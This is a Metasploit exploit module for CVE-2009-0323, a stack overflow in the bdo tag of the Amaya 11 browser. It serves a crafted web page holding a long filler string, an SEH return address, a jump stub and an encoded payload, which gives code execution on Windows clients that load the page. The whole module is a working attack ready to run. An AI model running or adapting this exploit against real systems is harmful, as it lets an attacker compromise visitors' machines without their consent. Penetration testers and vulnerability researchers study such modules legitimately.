Amaya Browser v11.0 bdo tag overflow

`##  
# $Id: amaya_bdo.rb  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Amaya Browser v11.0 bdo tag overflow',  
'Description' => %q{  
This module exploits a stack overflow in the Amaya v11 Browser.  
By sending an overly long string to the "bdo"  
tag, an attacker may be able to execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'dookie, original exploit by Rob Carter' ],   
'Version' => '$Revision: 6812 $',  
'References' =>   
[  
[ 'CVE', '2009-0323' ],  
[ 'OSVDB', '55721' ],  
[ 'BID', '33046, 33047' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 970,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Amaya Browser v11', { 'Offset' => 6889, 'Ret' => 0x02101034 } ], # wxmsw28u_core_vc_custom.dll  
],  
'DisclosureDate' => 'Jan 28 2009',  
'DefaultTarget' => 0))  
end  
  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Set the exploit buffer  
sploit = "<bdo dir=\""  
sploit += "\x41" * 6889  
sploit += "\x74\x06\x41\x41"  
sploit += [target.ret].pack('V')  
sploit += "\x68\x7f\x01\x01\x7f" # push 7F01017F  
sploit += "\x58" # pop EAX  
sploit += "\x2d\x18\x69\x45\x7d" # sub EAX, 7A7A0857  
sploit += "\x50" # push EAX  
sploit += "\xc3" # RETN  
sploit += make_nops(100)  
sploit += payload.encoded  
sploit += make_nops(970 - payload.encoded.length)  
sploit += "\">pwned!</bdo>"  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, sploit)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`